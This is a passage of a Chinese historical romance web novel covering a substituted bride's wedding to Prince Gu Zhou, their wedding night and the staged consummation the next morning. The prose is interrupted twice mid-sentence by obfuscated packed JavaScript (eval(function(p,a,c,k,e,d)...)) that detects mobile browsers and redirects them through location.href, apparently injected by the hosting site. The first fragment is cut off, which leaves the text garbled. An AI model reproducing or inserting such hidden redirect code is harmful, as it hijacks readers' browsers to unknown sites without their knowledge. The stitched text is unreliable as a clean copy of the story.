顾洲语调平平,未有波动,但想到裴济,心中已起了戒备,自方英婚后他就很少见到她,听方氏说她在裴家过得并不如意。 方英是无甚主意之人,她此生最大的坚持就是嫁给裴济,在家时,有方氏宠着不曾受过委屈,可到了裴家,上有婆母、下有大姑子、小姑子,她又以夫为天,日子过得没有一点自由。 方英只简单地回答:“是……” 方氏见侄女这般回应,神色有些不悦,但也不好在此地责备她,将话题岔开,“殿下带臣妇去看看府中布置如何?” 顾洲自然同意,三人起身行至后院,一路上张灯结彩、红纱摇曳,处处透着喜气。 可在方氏看来却不甚满意,挑了几处毛病,“也难为礼部了,时间仓促,能准备成这样也算可以了。” 顾洲笑笑未语,他心中清楚礼部安排皆遵照圣上旨意行事,而圣上对这婚礼并不重视,对他自己而言,这个仪式却是十分重要,处处亲力亲为,因为这是独属于他与沈明月的。 正闲聊着,海棠上前行礼:“回禀殿下,徐铭来报有客在前院等您。” “我这里有事,且命人在书房等候。” 方氏唯恐耽误公事,忙说道:“殿下且去吧,臣妇也该告辞了。” “也好,舅母回去好生休息,明日还需舅母为承平招呼客人。” 顾洲说完命海棠将人送出去,他径直去了书房。 徐铭在书房内将一张字条奉上,是看守在柳家的人送来的,上用密文书写着“一切安好”几个字。 徐铭问道:“殿下,婚期在即,是否让人都撤回来?” 顾洲锁定字条,并不相信这几个字,依他对沈明月的了解,她绝不会乖乖就范。 “继续看守,不到最后一刻不能放松。” “是。” 徐铭领命而去,命手下继续去柳府蹲守。 柳府后院大姑娘的住处,逐渐热闹起来,大姑娘昨晚未休息好,日上三竿才起身,外面等着服侍的婢女,将洗漱用水烧了一遍又一遍。 一个小婢女搓了搓冻僵的手指抱怨道:“大姑娘也太任性了些,难为姨娘能忍下来。” “明日姑娘就出嫁了,在娘家最后一日,主君与夫人自然不会说什么。” “……” 说话间房门打开,众婢女鱼贯而入,大姑娘已坐在梳妆镜前,微微有些发呆。 这一刻,沈明月从现实中抽离,逃避了自己就是柳慕云这件事,感叹着柳慕云的幸与不幸。 她思考着昨晚听到的话,分析出关于柳慕云未婚夫家的两点事实:其一,位高权重;其二,身体欠佳。 原来是对方逼迫柳家将女儿嫁过去冲喜,而柳公权突然着急找女儿,大概是因这未婚夫快不行了。 这老头子也真够狠心的,竟然舍得将亲女儿嫁给这样的人家。 不过话说回来,祸兮福之所倚,这对柳慕云来说是不幸,但对她沈明月来说却是天大的好事。 荣华富贵之家,行将就木之夫,想想就觉得很满意,虽然她知这样很不地道,但还是心中松快了许多,只是要努力控制表情很痛苦。 沈明月如提线木偶一般,任凭众人在自己头上插金戴银,随后有人端来嫁衣为她试穿。 嫁衣红底金绣、繁复沉重,捆得她几乎要窒息,正不耐烦之时,李氏带着常嬷嬷到来,进屋后围着她一顿夸赞。 “这么违心的话都说得出口?”沈明月没好气,扯着领口做了个深呼吸,“你们眼瞎了?看不出这衣服不合身?” 李氏的面色有一瞬间的阴沉,但很快恢复,为她整理着衣袖,解释道:“这嫁衣可是找京中最好的绣坊,十几个绣娘赶了两月的工才做出来的,嫁衣就是这样,为了显身材便做得紧了些。” 鬼才信这话! 沈明月解开腰间束带,顿觉从深水解脱出来一般,脱掉外袍随便一扔,立即有婢女上前接住。 “我都没在京中,你们照谁的尺寸做的?还是说姨娘没穿过嫁衣,不知道是什么感觉?” 这话直戳李氏心窝子,大姑娘不屑一顾的东西,是她这辈子的可望而不可及。 当初李氏被一顶小轿、在傍晚时分悄悄从侧门抬进柳家,没有夫家接亲、没有娘家送嫁、没有锣鼓吹打、没有宾客贺喜,甚至连个喜帕都没有,更别说拜天地、敬父母这些仪式。 她面上再也挂不住,却也不能发作,冷冷地说道:“姑娘父亲今日忙着应酬宾客,无暇与姑娘道别,命我今日陪伴姑娘。” 沈明月才不管她高兴不高兴,“哼!是看着我别给你们惹事吧!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675586|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一个嬷嬷看不过去,不顾常嬷嬷的颜色,出言道:“姑娘这可冤屈姨娘了,老爷与姨娘为姑娘辛苦操持,姑娘别……” 这话听着真是别扭,沈明月好似吃了枪砂一般,掉转枪口,朝向说话之人。 “为我操持?说得好听,不知道的还真以为你们有多委屈,咱们打开天窗说亮话,要让我乖乖听话的也可以,不过……”沈明月摘下头上的凤冠丢在梳妆台上,这东西沉甸甸地坠得她头痛。 随后伸出两根手指晃动一下,“不过,我有两个条件。” 李氏摆正凤冠,僵硬着手指梳理凤凰喙上衔着的流苏,“姑娘请讲。” “第一,我要莺儿陪嫁;第二,我要营州运过来的东西做嫁妆。” 李氏听完手指放松,抚着凤冠上的玉饰轻笑一下,“姑娘放心,主君已安排好,大夫人留下的东西已全部写进嫁妆单子,还有聘礼也全给姑娘带走。” 她说着示意常嬷嬷将嫁妆清单拿出。 沈明月接过并没有打开,往桌上一拍,“姨娘爽快,我信得过,那莺儿陪嫁一事呢?” “也已安排好,给姑娘安排了四名陪嫁婢女,常嬷嬷也暂时跟过去帮衬姑娘,至于莺儿,主君已决定收为养女,以后的吃穿用度与姑娘一样。” 李氏说完又是一笑。 这令沈明月心中发毛,自己这点小计划全在人家掌握之中,既然对方采用拖延战术,那她也只能以退为进。 “姨娘想得周全,但这么多婢女倒也用不着,这样,常嬷嬷随我同去,等我安顿下来就来接莺儿。” 李氏迟疑道:“这件事,我还需同主君商量。” “姨娘担心什么呢?是担心我说柳家坏话,还是担心我会苛待常嬷嬷?” 沈明月说完向李氏投去一个挑衅的眼神,而后又看向常嬷嬷,微笑道:“还没谢过嬷嬷这一路上的悉心照顾。” 常嬷嬷心虚,满脸堆笑:“不敢不敢,是奴婢应该的。” 李氏的重点则在前半句,“自然都不是,姑娘是柳家人,与父母姐妹一荣俱荣、一损俱损,自然会维护自家人。” “一荣俱荣,一损俱损?”沈明月将这几个咬得很重,随后语气变得轻松,“姨娘既然明白这个道理,其它的……还用得着我再多说吗?” “此事自然依着姑娘。” 沈明月站起来,本想做个什么礼仪动作来表示诚意,但好像除了握手和拱手,其它的都不会,干脆背过手去,“好,痛快,姨娘放心,我不会食言,希望姨娘也能守约。” 李氏起身,“也请姑娘放心。” 如此,协议达成,只等婚礼过后互换人质。 婚礼在即,沈明月说不紧张是假的,毕竟要去到一个陌生的地方、面对陌生的人,那里的情况是不是和分析的一致?对方会是个怎样的人?她甚至想那家人会不会让她陪葬。 整个柳府忙碌一日,入夜后终于安静下来,只有寒风不知疲惫,一点点将暗夜吹散。 东方刚见鱼肚白,就有人来为沈明月梳妆,婚礼虽在黄昏,但此时就要准备,一旦装扮好就再不允许再行动,为了减少如厕,连吃喝都不给,沈明月后悔昨日的粥没多喝两碗。 柳府内外锣鼓喧天、一片喜庆,红地毯直铺到门口的大街上,晌午过后,由礼部众官员组成的迎亲队伍到柳家接亲。 这一日,沈明月觉得自身已不是木偶,简直成了布偶,由常嬷嬷随意摆弄,在祝词贺喜、锣鼓喧天中,她最终坐到了婚床上,门轴转动,将喧嚣隔绝,忽觉天地安静下来。 她的视线只有喜帕下面窄窄的一片,这范围内是一片红艳艳,绣着鸳鸯的锦缎被褥上撒着美好寓意的红枣、花生、桂圆、莲子。 她刚想伸手拿几个红枣充饥,就被常嬷嬷按了回去。 此时身体的疲惫、腹中的饥饿,都在一点点吞噬着她的生命,沈明月已有些眼花,脖子几乎被压断,前胸也贴到脊梁骨上。 恍恍惚惚中她知道人来人往,可听不到任何脚步声、人语声,她想,这户人家的规矩可真是严苛。 忽而,那一片视线中出现半截男子身影,那两步走路的姿势似曾相识。 顾洲? 这个名字闪现在脑中,她自己都觉得惊讶,为什么会想到他。 接着是一声充斥着紧张与不安的深呼吸,这下她已十分确定。 一把扯下盖头,眼前身着红袍的身影与脑中的形象重合,震惊冲破躯体的束缚,尽数展现在脸上。 “顾洲!怎么是你?” 51. 洞房 沈明月起得太猛,顿感头重脚轻,两眼发黑,身体控制不住,直挺挺地向后倒去。 顾洲立即上前接住,轻飘飘地像是接住了一朵落花,见她头上沁出细密的汗珠,双目紧闭,一副痛苦的模样,心一下就揪了起来。 “沈明月?沈明月?” 他不想她会有这么强烈的反应,忧心如焚,声音有些发抖,“来人,快传府医!” 里面这么大的动静,引得呼啦啦进来一堆人,最前面的是海棠,见到沈明月第一眼,便觉得她是中了“软筋散”之毒,上前跪到脚踏上握住手腕。 搭脉后她凝重的表情微微舒展,与顾洲交换了一个眼神,后者一挥手遣退众人。 常嬷嬷则在最后一步三回首,这次是真的担心大姑娘出什么事,她很想留下,但绍王下令,不得不出去。 待房中无人,顾洲急切问道:“什么情况?” “脉形空豁,细若微丝,急促无力,是为元气不足之象。” 沈明月并没有晕过去,只是一时脑供血不足引起的突发性头晕,她渐渐恢复意识,头皮耳尖仍是麻木,鼻息间萦绕的淡淡茉莉香,更让她确认眼前人是顾洲无误。 不知怎的,心底那被尘封的委屈又重新嚷闹起来,眉头一紧,眸中蒙上了厚重的水汽,睫毛微微颤动间,泪水顺着眼角往下淌,越淌越多,犹如扯断了的珠帘,犹如决了堤的洪水。 她很想放声大哭一场,但是没有力气,喉咙哽咽,张张嘴却发不出声音。 “你想说什么?” 顾洲将人揽紧一些,低头凑近,可依旧听不到她的声音。 还是海棠读懂了口型,“她说……她不是细作。” “我知道,我都知道……”顾洲的嗓音被愧疚和酸涩压得低沉,眼角也已湿润,他一直在等亲口向她解释的机会。 “对不起,是我的错,是我冤枉了你,是我没能没保护好你,陈长生才是细作,他已经受到了惩罚。” 一声“对不起”令沈明月崩溃,曾经那些冤屈、怅恨和遗憾,在此刻全部化为齑粉,更在一句句诚挚的道歉中被冲刷殆尽。 顾洲尝试着擦干那无尽的泪水,可却是越擦越多,逐渐洇湿了怀中人的青丝,洇湿了他自己的衣袖。 他轻抚她的鬓角,小声说道:“北境大捷,是你的功劳,以后再没有战乱了。” 沈明月点点头,山河无恙是她的夙愿,这夙愿,前世今生,至死不变。 海棠看着这一幕,微微些震动,一种莫名的感受在心间流转,但说不上来是什么。 但她很快就将情绪压下去,见沈明月又动了一下嘴唇,知道表达的意思后露出诧异的表情。 “她好像在说……饿?” 顾洲全然不理会话中的不确定,毫不犹豫地说道:“快传膳。” 须臾间,清粥小菜端来,海棠托着碗,由顾洲一点点喂给她。 两碗粥下肚,沈明月攒了些气力,挣扎着想要坐起来。 顾洲担心她身子弱,又想多抱她一会儿,“别乱动,你怎会伤了元气?” 沈明月已恢复了许多,表情似是无奈,“放开我,我只是低血糖,没事……你们能不能弄点硬饭,我已经……半个月没有吃饱过了……” 海棠并不相信,这话倒像是玩笑,有些词听着也奇怪,堂堂户部侍郎家的大姑娘,竟会饿成这样,但脉象也的确如此。 她解释道:“人染沉疴,需以糜粥饮之,待五脏调和、身体渐安后,再以肉食补之……” 顾洲没有开口,默认了海棠的说法。 沈明月看出这二人的默契,看来今日是没肉吃了,苦笑一下,语气间透着绝望,“不给就不给,说这么文绉绉地做什么……就知道你们跟柳家一伙儿的……” 说罢抬手去拔发间的饰品,不卸下这堆累赘,她的头都抬不起来。 海棠撤下碗盏,端来温水和软帕,帮着顾洲将她安置好,随后为她卸妆梳洗,动作小心轻柔。 一番清洗,果见脂粉铅华下小脸没有一丝红润,嘴唇也是苍白,广袖下的手腕更是细如麻杆。 眼见衣带被解开,沈明月抓着衣领,有些紧张地问道:“你要做什么?” 海棠:“给你更衣,衣衫这么紧,怎么休息。” 沈明月手指微松,但没有挪开,目光看向顾洲,海棠意会,也看向顾洲。 顾洲的注意力全在心上人的安危上,并没有意识到自己此时不该在此处,待两道目光向他投来,才发觉有些尴尬,他僵硬一笑,起身离开。 房内只剩下这两个女子,海棠面色一凝,变得有些阴沉,问道:“你真的是柳慕云?” 沈明月是柳慕云这件事,虽是她亲自查出来的,但实在不明白其中的因果,现在亲自见到了沈明月本人,更不敢相信这个事实。 “你变脸倒是快!”沈明月调侃一句,但那个问题倒让她不知该如何回答,沉吟良久才说道:“我的皮囊是柳慕云,灵魂是沈明月。” 这算什么答案,海棠继续问道:“你为什么逃婚?” “不愿意呗。” “你从安庆逃跑后发生了什么事?为什么身体这么差?” 说起逃亡路上的艰难坎坷,沈明月就气不打一处来,她原本可以功成身退,带着莺儿好好过日子,却落得个这样的结果。 加上不给肉吃,她更没好气,瞪了海棠一眼,很是不满,“你审犯人呐!你还好意思问,我成了这样,还不都是你们害的。” 海棠并不理会,只想得到答案,“你一直在殿下身边出现,到底有什么目的?” 沈明月气得有些发晕,这冷面美人怎么就一个心眼的,认定了自己会对顾洲不利,她懒得解释,干脆说道:“想杀了他,想要他的命,你满意了吧。” “说实话!”海棠语气间是命令,急切想知道这话的真假! 简直是对牛弹琴、夏虫语冰,沈明月眼眸里满是无奈,“海棠,你这么漂亮多长相,是拿智商换的吧!我想害他有的是机会,还用等到今日?在凌源山里时,我完全可以不救他,完全可以一刀了结了他,犯得着费这么大周折吗?” 海棠只淡淡地问了一句:“智商是什么?” 沈明月再度崩溃,差点背过气去,这美人可真是会抓重点! “脑子,脑子,脑子啊!你的聪明劲都哪儿去了。” 她说完深深吸了一口气,问道:“安庆一事到底是怎么回事?” “不知道,我不插手军中之事。” 沈明月又是一口气没上来,她也有好多话想问,开口却只问道:“顾洲为什么会娶柳慕云?” “殿下与柳家的婚事是圣上定下的。” 好吧,这回答和没回答一样。 原也是这个问题本身就不严谨,沈明月已是疲乏至极,翻身朝向里侧,不再说话,这些问题不急于一时,明日问顾洲也是一样,早晚会有答案。 今日见到顾洲,不知为何,她彻底安下心来,心情豁然开朗,百般纠结全消,像一艘漂泊很久的船只终于靠了岸,四肢舒展,阖上双眼,很快就去找周公叙旧了。 可海棠愈发觉得奇怪,沈明月在说“柳慕云”这三个字时,就好似在说另一个人,可是,怎么会有人与自己的名字这般不熟悉。 于是她又问了开头的问题,“你真的是柳慕云?” 没有等到答案,只有均匀的呼吸声来回应,海棠不再坚持,默默收起她脱下的嫁衣,仔细为她整理好头发盖好被子,转身见顾洲身着睡衣站在身后,面色甚是不悦。 刚才她只专注于答案,全然没有注意到房间内其他人的气息,这是暗卫的大忌,也是失职,她也知道那些话肯定被主上听到了,但却没有后悔心虚,而是坚定地跪下说道:“请主上责罚。” 顾洲坐到床边,看着沈明月的模样十分心疼,也更加重了心中的怒意。 “海棠,我给过你说话的机会,就是不想让你再问她这些。” 她低下头,咬住嘴唇,不知该如何解释。 “这样的话,绝对不能再说出第二次。” “是……” 顾洲的手轻抚着大红锦缎被上的牡丹,“海棠啊,我现在愈发看不穿你了,你对她到底是怎么看?千防万防,百般猜疑,可对她又有关心,你心里到底是怎样想的?” 海棠叩首,回答道:“她……殿下吩咐过,她是奴婢的女主人。” 顾洲扫了她一眼,“不说实话,那以后也不能留你了,明日回侍卫营吧。” 海棠不由得全身一冷,抬头正对上顾洲幽暗不明的目光,这目光让她感到陌生,以前她再犯错,主上也没说过不要她的话,这次竟然这样说,她突然感觉非常害怕,害怕会被抛弃。 她低下头去,“殿下恕罪,请殿下责罚,奴婢……奴婢虽怀疑沈明月,只是看不穿她身上的疑点,但就她这个人来说,她……是个好人。” “既然如此,那就收起你的疑惑,记清自己的身份,以后好生服侍……王妃。” “是,奴婢不敢再有二心。” “退下吧!” 海棠迟疑了一下,小心翼翼地说道:“殿下……” “还有什么想说的?” “她……王妃的身子虚弱,不宜……” 顾洲吞了一下口水,收紧下巴,“这个,我自然知道,退下!” 海棠微微皱眉,面色有些难看,深深看了眼床上那瘦弱的背影后退了出去,眼中是藏不住的担忧,男人和女人在一起不就是为了发生那种事吗,那种极其痛苦的事。 房内安静下来,顾洲没有熄灭烛火,洞房花烛夜里,龙凤花烛要燃尽才算圆满。 他侧身躺到床上,面对着沈明月,见她睡得很是安稳,纤细浓密的睫毛上面还沾着些许晶莹,他抬手想要拭去,却怕惊醒好梦之人,将手在半空悬了一下后收回来。 而他自身也如在梦中一般。 在得知她就是柳慕云之前,他曾幻想过许多重逢的画面,在清晨杏花微雨时,在正午明媚的日光下,在黄昏的残阳晚霞里,又或者是月色灯影中。 他想过一切重逢的场景,唯独没想过是在洞房花烛夜。 如今爱人就在面前,他好想去拥抱她、亲吻她,告诉她自己的爱慕之情、思念之苦,想问问她是否也爱自己。 但是他不敢,不敢去触碰、去询问,他知道回答肯定是否定的,他怕一问就会失去这辛苦谋划来的一切。 今日从她的反应来看,她似乎还不知道要嫁之人是自己,若她知道了真相会怎样? 他不敢往下想。 愁肠百结之后他突然又笃定,这姻缘是圣上旨意,缘分天定,而他只是守护了缘分不散。 最后他还是忍不住触上她的手,见人没反应,便捉起来放到唇上一吻,玉手纤纤,瘦到骨节分明,中指上的茧子很厚,他心里很不是滋味,这是抄了多少经书,才会留下这样重痕迹。 他将这手裹入掌心,感到无比的满足与安心,眼皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15695850|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已然发沉,却强撑着不睡,只想一直这样看着她,看着她。 忽而眼睛一眨,已是天光大亮,身边的人一夜没有变换姿势,看来是累极了。 少女的头发松软地披散在枕头上,莹白的皮肤微微散发着光芒,鸦羽般的睫毛投下一片淡淡的阴影,眉眼舒展、呼吸清浅,睡得香甜惬意。 她的唇色已恢复正常,深浅得宜,两片唇瓣看起来很柔软,其中似乎带着无尽的诱惑。 这安宁的睡颜令人心驰神往,顾洲身体某处隐隐发胀发热,一股难以言喻的感觉升起,像条蛇似地在身体内游走乱窜,想要挣脱克制的枷锁,冲破身体的牢笼。 他隐忍着,还是忍不住伸手去触摸那美好…… 沈明月一夜好梦,她已经很久很久都没有睡得这样舒服安稳过了,忽觉嘴唇上有什么东西在动,睁开眼,却见顾洲躺在身侧,衣襟敞开到胸前,左手撑头,右手正从她面前拿开。 神思归位,瞬间清醒,昨晚竟是孤男寡女,同睡一床。 “啊---” 惊恐的喊声还没出口,就被顾洲捂了回去,情急之下,她按住他的手,在掌心上狠狠来了一口。 顾洲疼得坐起身来,捂着手痛苦道:“喊什么?想把人都引进来吗?” 沈明月看看自己完整的衣衫,的确是冤枉了他,可又觉得委屈,起身抱着弓起的腿缩成一团,鼻子酸酸的。 “你咬人,你还哭。” 顾洲看着手掌上一圈血痕,弯弯得像花瓣一样,煞是美丽,而他的嘴角,也不自觉地形成了好看的弧度。 沈明月抹掉眼泪,抬头见对方的亵衣滑落,露出大半个身子,太阳的金光经过纱帐过滤变得柔和,流淌在光滑紧实的胸膛上,让这男人的身体的线条愈发完美起来,而肩膀上那块疤痕,是不容忽视的瑕疵。 那是在安庆受的伤,疤痕这样重,当时一定很痛吧,沈明月这样想着,低头瞥见他的亵裤呈现出不自然的凸起,一刹那的疑惑后她明白了缘由,不由得红了耳根。 这就是传说中的不能人事? 竟然会有这样的传闻,她忽觉好笑,难以压下嘴角。 这一哭一笑,加上直勾勾的眼神,着实令顾洲发懵,但见她目光锁定处,他彻底慌了神,赶紧将自己捂得严实。 “你,你……瞎看什么。” 见他羞涩,沈明月反而大胆起来,“哼,又不是没看过,害臊什么?” 顾洲想起了在山洞里的事,又想到自己与她已成夫妻,的确没有遮挡的必要,随即松了手,眯起眼睛,邪恶一笑。 “既然看过,那就再好好看看?”说完将她按在床角。 “你做什么?浑蛋,无耻。” 沈明月没想到他来真的,刚才的气焰瞬间熄灭,试图反抗,对方却加重了手上的力道。 她紧闭双眼使劲挣扎,却只感受到了对方温热的呼吸,未有其他动作,睁开一只眼,见顾洲离得很近,正微笑着看她,而他与她之间还隔着厚厚的被子。 顾洲轻声说道:“再喊两声,要不我没办法交差。” “你交什么差?” 沈明月小小的脑袋里有大大的疑问,随后顺着他的目光看去,床上不知什么时候多了一块白色的布。 “你说我交什么差,元帕是要由宫里的嬷嬷来验的。” 元帕,沈明月听说过,是旧式婚姻中,新婚初夜用来查验新娘贞洁之物,上面没有落红,则视新娘不贞不洁,轻则浸猪笼,重则连累家族。 想是顾洲十分在意这传闻,也怕坐实这个传闻,于是就让自己反抗,来承担责任。 这件事其实也好办,随便在手指上划个口子,滴两滴血上去不就可以了吗? 显然顾洲没这样做到打算。 她情急之下说道:“我来,我来,用我的血。” 之后便将食指放到口中,却被顾洲一把握住。 “她们个个都是老狐狸,什么没见过,你以为这样就能骗过她们吗?” “那怎么办?” 顾洲听到脚步声,快速说道:“陪我演场戏。” 沈明月将手抽回,大概理解了他的意思,但是不死心的邪魅一笑,“传闻不会是真的吧!” “什么传闻?”顾洲神情错愕。 “伤了根本,不能人事!” 话还未尽,顾洲的脸色就已转黑,“你从哪里听来的?” “连柳府的婢女都知道了,估计早已传遍全京城,真的假的?” 这不是能开的玩笑,当沈明月意识到这一点时,对方似乎真的生气了。 “能不能人事,你试试不就知道了!”顾洲说完动起真格的,将她的衣襟扯开一些,捂住她的嘴,吻了上去。 这一瞬间,沈明月好似被按下了暂停键,脑中空白、目光凝滞,如雕塑一般定格,忘记了挣扎,忘记了呼吸。 忽而那手松开,空气涌入口鼻,她大口喘息起来。 也没说演戏是这个演法呀!猝不及防的动作将她吓坏,惊慌失措中胡乱拍打对面的人。 这一幕正被闯进来的海棠看到,顾洲随手将枕头砸过去,“滚!” 后面跟进来的婢女婆子都被吓到,纷纷跪地,不敢抬头。 顾洲的目的已达到,轻轻抬起沈明月的下巴,却不敢直视那满是惊惧的眼神。 “本王不喜欢强迫。” 之后他下床,摸了摸锁骨处的三道血痕,脸上的愠怒让人不寒而栗,冷哼一声拂袖离去。 52. 虎穴 沈明月愣怔地看着黑压压的一群人,尤其是海棠,发髻都被砸偏了,虽然知道是做戏,但她还是心有余悸,这家伙也太会演了,说来就来,不去当演员真是可惜了。 满地的人大气不敢出,她们在外侍候一夜,等待屋内随时传唤,但屋内传了膳食后再无动静,原本以为事情就这样结束,没想到早起又闹了一场。 现在坏了绍王殿下的好事,众人跪地不敢起身,直到听到重重的关门声后,才上前查看王妃的情况。 首当其冲的是常嬷嬷,毕竟是自家姑娘,她这样做别人也挑不出毛病来。 待看到洁白如雪的元帕连点褶皱都没有,几个嬷嬷面面相觑,再看王妃,像一只受伤的小白猫,蜷缩在床角,花容失色、惊恐不已,她们心下了然,责备这柳家真是不会教养女儿。 尤其是宫中来的两个嬷嬷嬷,虽面上平静,可眼底却闪过一丝担忧,这要如何向宫中回禀,若现在就回宫,绍王的怒火会不会烧到她们身上? 二人交换一个眼神,收起元帕,客气地安抚王妃几句,将屋内交给王府中人,出门后决定晚些时辰回宫,待殿下消了气,再去告辞。 “愣着做什么?还不快去打水服侍王妃梳洗?” 常嬷嬷心中恼火,只能将气出在婢女身上,但她不敢对那个叫海棠的如此说话,昨夜能单独留在房中的人,身份必定不简单,何况这女子又生得如此美貌,说不定是殿下的通房侍妾。 她换上一副笑脸,对海棠十分尊重,“姑娘也守了一夜,快些去休息吧,这里有老奴就好。” 毕竟是柳家派来的,是王妃的娘家人,海棠也不好留下,行礼告退,但她没有离开,悄悄在外间侍立,果不其然里面传来不和谐的对话,虽然声小,但于她来说已足够清晰。 只听常嬷嬷声音中透着威严:“姑娘是如何答应老爷和姨娘的?既然嫁过来,就该服侍殿下,姑娘怎么就这般烈性……姑娘不为自己,也要想想柳家上下百十口人,得罪的殿下,哪里会有好果子吃。” 她虽知不该如此,但只怕说轻了,姑娘不知道其中的厉害。 沈明月不知要如何回答,以沉默应对。 常嬷嬷打开陪嫁箱子,里面尽是贴身之物,从层层衣物最底下拿出一本小册子交给大姑娘。 “时间仓促,想必准备的这些东西,姑娘还没看过。” 她不明所以,接过后一过目大惊失色,忙丢了出去,可那画面已映入眼帘,不堪的内容让她顿觉脸上火辣辣的。 常嬷嬷拾起册子,又塞回她手中,“姑娘不必害羞,男女欢爱是何等妙事,等姑娘经过就知道了,若是不会可依图行事。” 简直是羞耻!沈明月这样想。 简直是无耻!海棠这样想。 这件事怎么会是妙事?沈明月是被逼迫而来,她不能视而不见,一招手,外面等候良久的婢女们进入,恰到好处地替屋内人解了围。 沈明月松了口气,慌忙将那册子塞到褥子底下,向海棠投去一个感谢的眼神,但对方低着头,也不知见到了没有。 常嬷嬷见大姑娘未有一句言语,又收了册子,也就放心了,想帮衬着众人为姑娘梳妆更衣,却插不上手,王府内的人规矩严苛、训练有素,人虽多,却也不见手忙脚乱、甚至不闻呼吸之声。 殊不知这也是海棠有意不让她靠近。 梳妆到了一定流程,便有人出去吩咐一番,等最后一笔眉毛画完,外间桌上已摆好膳食。 常嬷嬷看着一桌子精致的食物,心中赞叹不愧是帝王之家,一顿早饭就这样丰盛,荤素搭配、色香味俱全,她也是一日未进食,看着这等美味腹中有些饥饿,但少不得要服侍大姑娘用膳。 海棠上前一礼,柔声细语:“嬷嬷辛苦,已为嬷嬷准备了小席面,请嬷嬷移步。” “这……只怕不合规矩。”常嬷嬷受宠若惊,连连推辞。 “嬷嬷只管去便是。”海棠又是一礼,命人带她出去。 常嬷嬷已见识到王府内的严苛,远在小门小户之上,也担心自己出什么岔子惹上麻烦,于是恭敬不如从命。 看着一桌子美食,沈明月脚步不由自主地靠近,但见周围人影绰绰,有些不好意思动筷子,于是试着开口道:“我不习惯这么多人。” “是。”众人闻言退出,只剩海棠和两个布菜的小婢女。 她还是觉得不自在,恐怕吃相粗犷露出破绽,“那个,你们……先去忙吧,海棠陪我就好。” 她本想像海棠或顾洲那样说“退下”,可这两个字却说不出口。 “是。”两个婢女十分听话。 心中高悬的一口气终于放松下来,她对海棠说道:“坐吧,一起吃。” “回王妃,奴婢不敢。” 软糯恭顺的嗓音让沈明月直起鸡皮疙瘩,强行拉她坐到座位上,“什么王妃,叫我沈明月,行了,别端着了,咱俩谁不知道谁啊!” “这不合规矩。”海棠恢复了正常声音,想起身却被肩上的手按了回去。 “规矩是人定的,我这里没有这样的规矩。” 这样的痛快地回答,令海棠肩膀微微下垂,她刚想张口继续昨天的问题,就被一个虾饺堵住了嘴。 “别说话,先让我吃饱再说。” 接下来一刻钟,沈明月只顾埋头吃饭,转眼间桌上的食物少了大半,香甜的滋味在舌尖停留,带来无与伦比的满足感。 她腹中饱食,却意犹未尽,又填了两碗汤溜缝,之后才满意地点点头,“你们家伙食够可以的。” “这是殿下特意为你准备的。” “够意思。” 沈明月感叹着,见海棠发饰还歪着,想伸手去扶正,还未触到发饰就被对方躲过,她只能悻悻地缩回手。 回想刚才的事,还是挺担惊受怕的,这是第二次陪顾洲演戏了,第一次是意外,这一次是临时起意,顾洲竟也演得如此逼真,也不知他们是经过了多少次才练出来。 她忍不住问道:“你们是不是经常这样演戏?还能分得清真假吗?” “别入戏就行。” “都是搞谍战的好苗子。”沈明月感慨了一句,而后想起正经事来,“我什么时候可以回柳家。” “按规矩,婚后三日归宁。” “我可不可以今天去?” “不行……”海棠又戒备起来,“你好像与柳家关系并不好,这么着急回去做什么?” “我的傻美人,我有人质在她们家呀!” “人质?莺儿?” “可不,要不是她被扣押,我早想办法跑了。” “一个婢女而已,有那么重要吗?” “你这是什么话?我可没把她当婢女看,就就算婢女,我也不会不管不顾,更何况她是我的姐妹,我的朋友。” 海棠低头沉思,从前她也有过兄弟姐妹、亲朋好友,可时间过去太久了,已记不得亲情、友情是什么感觉,而她对主上,只是想报恩。 “唉,当初只顾着教她写字了,现在想想更该教些拳脚功夫。” 沈明月感慨着又随手夹起一个蟹黄包,但眼馋肚饱,只好送到海棠面前的碗碟中。 海棠抬眸望去,正与她的清澈的目光相撞,前者有一瞬的迟疑,随后问道:“你的功夫是哪个门派的?我从未见过。” “你是说八卦掌?” 沈明月怕她问出处和师承,便亦真亦假地忽悠了一通。 “我跟你说,这掌法可厉害,依八卦图中的四方四隅转掌走圈,讲究一走、二视、三坐、四翻,掌法变换、步法轴转,用起来纵横交错、灵敏洒脱,既能强身健体,又能防身御敌,唉,可惜我只学了皮毛……” “但是这掌法太不择手段。”海棠一语中的。 不愧是行家! 她面上挂不住,解释道:“此言差矣,这叫虚实结合,出其不意,攻其不备。” “你是暗卫,应该知道真正的杀招,是让对方防不胜防……”不过好像跑题了,她清清嗓子,话锋一转,“我还有些不明白,在外面演戏也就罢了,这不是你们自己的家吗?怎么还要这样?” “这是绍王府,不是家,院子里的人有细作,以后说话做事要小心。” 这简约的回答,远超沈明月的预想,惊得她瞪大眼睛看过去,说话之人却平静到语调没有任何波澜。 唉!还真把日子过成谍战了,自己也跟着倒霉,才出狼窝又入虎穴。 沈明月只能认命,听着海棠将可疑之人一一说来。 “……除却这些人,宫里的嬷嬷今日走,还有些其他人三日后才走,你若不想暴露,就老老实实的,别动什么念头。” 混乱的人物、复杂的关系令沈明月头大,仰天长叹:“我想要的自由,什么时候才能得到!” 自由,海棠在心里描摹着这两个字,有些疑问,她现在不够自由吗? 